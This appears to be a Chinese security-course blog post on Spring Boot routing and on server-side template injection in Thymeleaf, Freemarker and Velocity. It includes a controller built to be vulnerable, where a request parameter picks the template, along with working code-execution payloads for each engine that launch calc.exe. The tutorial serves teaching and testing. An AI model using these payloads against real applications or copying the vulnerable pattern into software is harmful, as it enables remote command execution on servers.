当前位置: 首页 > ds >正文

Web开发-JavaEE应用SpringBoot栈模版注入ThymeleafFreemarkerVelocity

知识点:
1、安全开发-JavaEE-开发框架-SpringBoot&路由&传参
2、安全开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

一、演示案例-WEB开发-JavaEE-开发框架-SpringBoot&路由&传参

类似于php语言中的thinkphp,不过要更加优秀。
参考:https://springdoc.cn/spring-boot/

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1、路由映射

@RequestMapping @GetMapping等

2、参数传递

@RequestParam

3、数据响应

@RestController @Controller(请求)
@RestController注解相当于@ResponseBody(响应)+@Controller(请求)合作用。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-模版引擎-Thymeleaf&Freemarker&Velocity

Thymeleaf

参考:https://xz.aliyun.com/news/9962

1、新建SpringBoot项目包含Web,Thymeleaf

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、配置application.properties修改缓存

在这里插入图片描述

3、创建模版目录和文件,文件定义修改变量

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、新建Controller目录及文件,指定路由配置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、更换SpringBoot及Thymeleaf版本测试POC

@Controller
public class IndexController {@RequestMapping("/index")public String index(Model model) {
//替换模版html文件中的data变量值
model.addAttribute("data", "你好 小迪");
//使用index模版文件return "index";}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

    @RequestMapping("/indexs")public String index(Model model,@RequestParam String lang) {
//替换模版html文件中的data变量值
model.addAttribute("data", "Hello xiaodi");
//使用index+变量lang模版文件return "index-"+lang;}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

利用条件:Thymeleaf漏洞版本,可控渲染模版文件
Poc:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Freemarker

参考:https://mp.weixin.qq.com/s/TtNxfSYsB4HMEpW_OBniew

1、新建SpringBoot项目包含Web,Freemarker

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、配置application.properties修改缓存

在这里插入图片描述

3、创建模版目录和文件,文件定义修改变量

在这里插入图片描述
在这里插入图片描述

4、新建Controller目录及文件,指定路由配置

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

5、更换SpringBoot及Freemarker版本测试POC

 <#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}<#assign value="freemarker.template.utility.JythonRuntime"?new()>${value("calc.exe")}<@value>import os;os.system("calc.exe")</@value>//@value为自定义标签利用条件:可控渲染的模版文件

Velocity

在这里插入图片描述
在这里插入图片描述
参考:https://blog.csdn.net/2401_83799022/article/details/141600988

<dependency><groupId>org.apache.velocity</groupId><artifactId>velocity</artifactId><version>1.7</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

Poc:%23set($e%3D"e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

在这里插入图片描述

利用条件:Velocity漏洞版本,可控模版变量或文件

在这里插入图片描述
在这里插入图片描述

http://www.xdnf.cn/news/3356.html

相关文章:

  • Antd Upload组件连续回车会多次触发文件夹弹窗的bug修复
  • MATLAB绘制饼图(二维/三维)
  • 如何解决服务器文件丢失或损坏的问题
  • linux中systemctl stop 和 kill -9的区别
  • 字节暑期实习-网络运维工程师面经
  • Java学习计划与资源推荐(入门到进阶、高阶、实战)
  • 从 PID 到 Agent:工业控制算法的五代进化史与智能协同革命
  • CentOS网络之network和NetworkManager深度解析
  • 小刚说C语言刷题—1462小明的游泳时间
  • spring中关键字Assert和jdk的assert关键字
  • finereport普通报表设置冻结列后实现点击单元格整行背景变色
  • Kaamel白皮书:MCP安全实践
  • 司南评测集社区 4 月上新一览
  • 宝塔面板运行docker的jenkins
  • openharmony 4.1 运行busybox工具包(保姆教程)
  • HAproxy+keepalived+tomcat部署高可用负载均衡实践
  • 【Python】基于Python的图像分类:从基础CNN到ResNet的全面解析
  • ag-grid-react 列表导出csv列表getDataAsCsv (自定义导出列表配置)自定义新增,修改导出内容
  • 印刷企业绩效考核管理制度与绩效优化路径
  • 在Java中使用Files类的copy()方法复制文件的示例
  • B/S架构:定义、原理及其在软件测试中的应用
  • 利用SingleKeyDatabaseShardingAlgorithm,自定义分片算法实现
  • 简易APP更新功能
  • 深入理解CSS显示模式与盒子模型
  • 数据库12(游标)
  • 安全指南 | MCP安全检查清单:AI工具生态系统的隐形守护者
  • 深入浅出循环神经网络(RNN):原理、应用与实战
  • Tomcat DOS漏洞复现(CVE-2025-31650)
  • 数据库规范
  • 国产化海光C86架构服务器安装windows实录